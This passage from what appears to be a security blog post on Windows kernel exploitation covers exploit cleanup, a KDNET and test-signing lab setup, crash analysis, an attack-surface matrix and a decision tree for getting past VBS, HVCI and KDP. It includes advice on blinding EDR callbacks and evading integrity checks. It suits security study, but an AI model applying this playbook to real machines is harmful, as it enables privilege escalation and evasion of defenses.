  • HVCI enabled → cannot allocate new executable kernel memory. Use data-only attacks or signed-code reuse (jump to existing signed kernel functions with controlled arguments).
  • KDP enabled → cannot write to protected kernel data structures (SSDT, some _EPROCESS fields, some callback lists). Choose a write target that is not KDP-protected.
  • VBS enabled → physical memory access is bounded to VTL 0. The secure kernel (VTL 1) is out of reach. Accept VTL 0 compromise (you can be SYSTEM but cannot reach Credential Guard secrets).
  • KASLR enabled → need an information leak (Stage 1) before computing write targets. Unless using BYOVD physical memory scanning, which bypasses KASLR entirely.

#Stage 5 — The Cleanup Problem

The most overlooked stage. After the exploit modifies kernel state (overwrites a token, corrupts a PTE, unlinks a callback), the modified state may be inconsistent with what the kernel expects. A later access to the modified structure may bugcheck. Cleanup restores the original state:

  • Token stealing — the original token pointer should be saved and optionally restored (though most exploits leave the stolen token in place, since the process now runs as SYSTEM and cleanup is unnecessary for privilege escalation).
  • PTE manipulation — the modified PTE should be restored to its original value after the exploit's use, to avoid a later SMEP/SMAP check failing on the modified page.
  • Pool corruption — corrupted pool headers must be repaired, or the next pool operation on that region will bugcheck. This is the hardest cleanup — pool metadata corruption is often not fully reversible.
  • Callback unlinking — if the exploit unlinked an EDR callback, leaving it unlinked is usually fine (the EDR stays blind), but re-linking it after the exploit completes avoids detection by integrity-checking tools.

Cleanup is what separates a reliable exploit from a one-shot crash. An exploit that does not clean up will work once, then bugcheck the system on the next related operation. An exploit that cleans up can be run repeatedly without crashing the target — which matters for operational use, not just for a CTF.


#14. Practical Lab Setup

This section is the bridge from theory to practice. The previous sections explained the attack surfaces. This section explains how to set up an environment to actually exploit them.

#The Development Environment

Kernel exploitation requires a dedicated environment. You will crash the machine hundreds of times. You will corrupt kernel state in ways that survive a reboot. You will need to attach a kernel debugger, which requires boot configuration changes. Do not do this on your primary machine.

The two-machine kernel debugging setup is the standard workflow:

  1. Host machine runs WinDbg (WinDbg Preview from the Microsoft Store).
  2. Target machine runs the code being debugged.
  3. The two are connected via KDNET (kernel debugger over network).

KDNET setup on the target:

CMD
bcdedit /debug on
bcdedit /dbgsettings net hostip:<HOST_IP> port:50000 key:<GENERATED_KEY>

On the host, WinDbg connects via: File → Attach to Kernel → Net → Port: 50000, Key: <GENERATED_KEY>

VM-based alternatives are more convenient for most work:

  • VMware: Add a virtual serial port to the VM, configure the host to listen on a named pipe, connect WinDbg to the pipe.
  • Hyper-V: Enable COM port redirection, connect WinDbg to the redirected port.

VMs have a critical limitation: they do not support VBS, HVCI, or Credential Guard (the hypervisor is already in use by the VM). For testing VBS-aware exploits, you need a physical machine.

Test-signing is required for loading custom drivers:

CMD
bcdedit /set testsigning on
bcdedit /set nointegritychecks on   # Disables DSE entirely (use with caution)

Snapshot workflow: Take a VM snapshot before loading a driver or running an exploit. After a bugcheck, revert to the snapshot. This is faster than rebooting and preserves your debugging session state. You will revert hundreds of times before an exploit is stable.

#Target Selection

Choose a specific Windows build and obtain its exact symbols. Kernel structures change between builds, and offsets shift.

  • Windows 10 22H2 (build 19045) — the most common target, well-documented offsets, VBS/HVCI not enabled by default. The easiest target for learning.
  • Windows 11 24H2 (build 26100) — the modern target, VBS/HVCI enabled by default on supported hardware. The target that represents a real-world Windows 11 deployment.

Download symbols from the Microsoft Symbol Server or use WinDbg's automatic symbol download:

TEXT
.sympath srv*C:\Symbols*https://msdl.microsoft.com/download/symbols
.reload

#Essential Tools

ToolPurpose
WinDbg PreviewKernel debugging. Commands you must know: !analyze -v, !process 0 0, !pte, !pool, !irql, !drvobj, !devobj, !irp, dt, u, bp/ba/bm, dq/dd/db, r, k/kb/kv, .reload, .sympath
IDA Pro / Ghidra / Binary NinjaStatic analysis of ntoskrnl.exe, hal.dll, and target drivers. You will spend more time reading code than writing it.
OSR Driver LoaderLoading test drivers without writing a service installer. Essential for rapid iteration.
Sysinternals SuiteProcess Explorer, Process Monitor, Autoruns, WinObj, LiveKd. WinObj is particularly useful for understanding the kernel object namespace.
Visual Studio + WDKBuilding kernel drivers. The WDK includes headers, libraries, and build tools for kernel-mode development.
Python 3Exploit development and automation. Most kernel exploit prototypes are written in Python with ctypes for IOCTL interaction.
C/C++ toolchainFor writing kernel drivers and exploit payloads. You need both user-mode (MSVC) and kernel-mode (WDK) compilation.

#Crash Analysis Workflow

When the exploit bugchecks (and it will, many times), the crash dump contains the exploit's footprint. The workflow:

  1. !analyze -v — the first command. It identifies the bugcheck code, the faulting component, and often the corrupted structure.
  2. Identify the bugcheck — the code tells you what went wrong:
BugcheckCodeMeaning
CRITICAL_STRUCTURE_CORRUPTION0x109PatchGuard detected modification of a protected structure (SSDT, IDT, MSRs, .text)
KERNEL_SECURITY_CHECK_FAILURE0x139kCFG detected an invalid indirect call, or CET detected a shadow stack mismatch
SYSTEM_SERVICE_EXCEPTION0x3BAn exception occurred in a system service — often a corrupted pointer dereference
IRQL_NOT_LESS_OR_EQUAL0x0AKernel code accessed paged memory at DISPATCH_LEVEL or higher — often a freed pool access
PAGE_FAULT_IN_NONPAGED_AREA0x50A pointer in non-paged pool was corrupted and dereferenced — common in pool corruption exploits
BAD_POOL_HEADER0x19Pool metadata corruption — the pool header was overwritten
  1. Inspect the corrupted structure — use dt, !pool, !process, !irp to examine the structure the crash pointed at. Compare it to the expected layout.
  2. Fix the exploit — the crash tells you what you corrupted and when. Adjust the exploit to avoid corrupting that structure, or to corrupt it in a way that does not bugcheck.
  3. Revert and retry — revert to the snapshot, run the fixed exploit, repeat.

The iterative cycle — crash, analyze, fix, retry — is the core of kernel exploit development. There is no shortcut. The first working version of a kernel exploit is usually the hundredth attempt.


#15. The Attack Surface Matrix

This table is the cheat sheet. It maps every kernel subsystem covered in this post to its attack surfaces, the techniques that remain viable, and the defenses that constrain them. Return to this table when planning an exploit chain.

SubsystemAttack SurfaceViable TechniquesConstrained By
Syscall InterfaceSSDT, LSTAR MSRDirect syscall invocation (user-mode evasion only — not a kernel attack)PatchGuard, KDP, HVCI, CET
I/O ManagerIOCTL handlers, device driversArbitrary r/w via vulnerable IOCTL, BYOVDDSE, Vulnerable Driver Blocklist, WDAC
Memory ManagerPage tables, physical memoryPage table manipulation, physical memory r/w via BYOVDVBS/SLAT, HVCI (EPT)
Object ManagerTokens, handles, process objectsToken overwrite, privilege bitmask, handle table manipulation, PPL bypassKDP, VBS
Kernel PoolPool allocations, pool metadataPool overflow, UAF, type confusion, pool sprayingRandomized pool (Win 10 2004+)
SynchronizationIRQL, DPCs, dispatcher objectsTOCTOU, double-fetch, multi-threaded IOCTL races, IRQL racesNone (logical bugs, not mitigations)
Driver ModelDriver loading, signingBYOVD, supply chain, filter driver insertion, driver unload UAFDSE, WDAC, Vulnerable Driver Blocklist
Interrupt HandlingIDTNothing viable on modern systemsPatchGuard, KDP, CET
APC / CallbacksAPC injection, callback listsAPC injection (requires kernel context), callback tampering (partial)PatchGuard (partial), KDP (partial)
Shared MemorySection objects, \Device\PhysicalMemoryShared-memory TOCTOU, section object manipulationAccess control, VBS (\Device\PhysicalMemory closed since Win 8)
RegistryRegistry callbacks, driver configCallback tampering (partial), config corruptionPatchGuard (partial), key ACLs

#The Series Coverage Table

The matrix above says what each subsystem offers. This table says where each attack surface has actually been walked — every leg that has been exploited end-to-end in this series has its own deep-dive post. Return to this table to pick up the walk of any subsystem at the point where the theory in this post meets working exploit code.

Attack Surface (Section)Leg WalkedBlog
Section 1 — Syscall interfaceSSDT-level telemetry — the defensive use of the syscall layerNanga: Process Telemetry from the Syscall Layer
Section 2 — I/O Manager + Section 7 — Driver Model (BYOVD) + Section 3 — physical memoryA signed driver handing MmMapIoSpace to any callerThrottleStop: Physical Memory Exploit
Section 3 — Memory Manager (virtual memory) + Section 6 — TOCTOU raceA pointer race in the kernel's own copyout path — no driver involvedExploiting CVE-2024-30088: A TOCTOU Race in the Windows Kernel
Section 5 — Kernel PoolA use-after-free reclaim race in afd.sys — spray, kCFG-legal callbacks, token bit flipExploiting CVE-2026-21241: A Use-After-Free Race in AFD.sys
Section 4 — Object ManagerA reference-count race double-freeing the token's SID Values Block — the attack surface aiming at its own endgameExploiting CVE-2025-62215: A Reference-Count Race in the Object Manager
Section 8 — Interrupt handlingClosed surface — IDT/#DB techniques are historic only (see Section 12)—
Section 9 — APC and Callbacks / Section 10 — Shared memory / Section 11 — RegistryNot yet walked—

The remaining rows are the frontier. The APC machinery, the shared-memory surfaces, and the registry all wait the way the Object Manager once did — documented in their sections, exercised in fragments, but not yet walked end-to-end the way the series walked the pool through afd.sys and the token's lifetime machinery through CVE-2025-62215. When they are walked, this table grows a row and a link.

#The Exploitation Decision Tree

Given a target with a specific mitigation configuration, what techniques are available?

  • No VBS, no HVCI, no KDP (common on Windows 10, older hardware, gaming machines, dev workstations): Everything in Sections 2–7 works. BYOVD with physical memory access gives full kernel compromise. Data-only attacks (token stealing, PPL bypass) are unconstrained. Page table manipulation works. This is the easiest target class.
  • VBS enabled, HVCI disabled (some enterprise configs, performance-sensitive workloads): BYOVD still works (the driver is signed). Physical memory access is bounded to VTL 0 — you can compromise the normal kernel but not the secure kernel. Data-only attacks work on non-KDP-protected structures. Page table manipulation is constrained by EPT.
  • VBS + HVCI enabled (Windows 11 default on supported hardware): BYOVD still works if the driver is not blocklisted. New executable kernel memory cannot be created (HVCI) — no shellcode injection, no reflective driver loading. Control-flow hijacking is constrained (CET, kCFG). Data-only attacks are the primary path. The attacker accepts VTL 0 compromise (SYSTEM) without reaching VTL 1 (Credential Guard secrets).
  • Fully mitigated + KDP + blocklisted drivers (the hardest target): Known BYOVD drivers are blocked. KDP protects critical data structures. The remaining paths are: new (unblocklisted) vulnerable drivers, logic bugs in allowed drivers (pool corruption, race conditions), and supply-chain compromise. This is the frontier — hard, but not impossible.

#Closing

The Windows kernel is not one attack surface. It is a collection of subsystems — the syscall interface, the I/O manager, the memory manager, the object manager, the kernel pool, the synchronization primitives, the driver model, the interrupt handler, the APC and callback machinery, the shared memory subsystem, and the registry — each with its own data structures, its own dispatch mechanisms, and its own vulnerability patterns. Every technique in this post lives in one of those subsystems. Every obsolete technique died because a defense in the companion post closed the specific stage of the attack that the technique relied on.

The attack surface has shifted, not disappeared. The syscall interface and the IDT are closed doors. The I/O manager, the memory manager, and the object manager remain open — through BYOVD, through data-only attacks, through pool corruption and race conditions. The driver model is the trust boundary that makes BYOVD possible, and the trust boundary is itself the attack surface. The hypervisor is the new frontier — not covered here, because crossing it is a different problem than kernel exploitation.

The two posts together form one document. The defense post explained the walls: PatchGuard, VBS, HVCI, SMEP, SMAP, CET, KASLR, kCFG, KDP, Credential Guard, WDAC. This post explained the doors, windows, and ventilation shafts: the IOCTL handlers that hand you a write primitive, the page tables that let you turn off SMEP at the hardware level, the token pointers that let you become SYSTEM with a single data write, the pool allocations that let you corrupt kernel objects, and the race conditions that no mitigation addresses at all. The walls are real. The doors are real. The job is to find the door that the walls do not cover — and the mitigation enumeration in Section 13 is how you find it.


Further reading:

  • Windows Internals, Part 1 (Yosifovich, Ionescu, Russinovich, Solomon) — System architecture, processes, threads, memory management
  • Windows Internals, Part 2 (Russinovich, Solomon, Ionescu, Yosifovich) — Security, storage, networking
  • Windows Kernel Programming (Pavel Yosifovich) — Practical kernel driver development
  • The Art of Memory Forensics (Ligh, Case, Levy, Walters) — Understanding kernel data structures through Volatility
  • Offensive Security's Windows Kernel Exploitation course (OSEE / EXP-401)
  • The LOLDrivers project — catalog of signed drivers with dangerous capabilities
  • Microsoft's Vulnerable Driver Blocklist documentation
  • Public exploit writeups on GitHub, the Zero Day Initiative blog, and Project Zero
Found it useful? Share it
← Back to all posts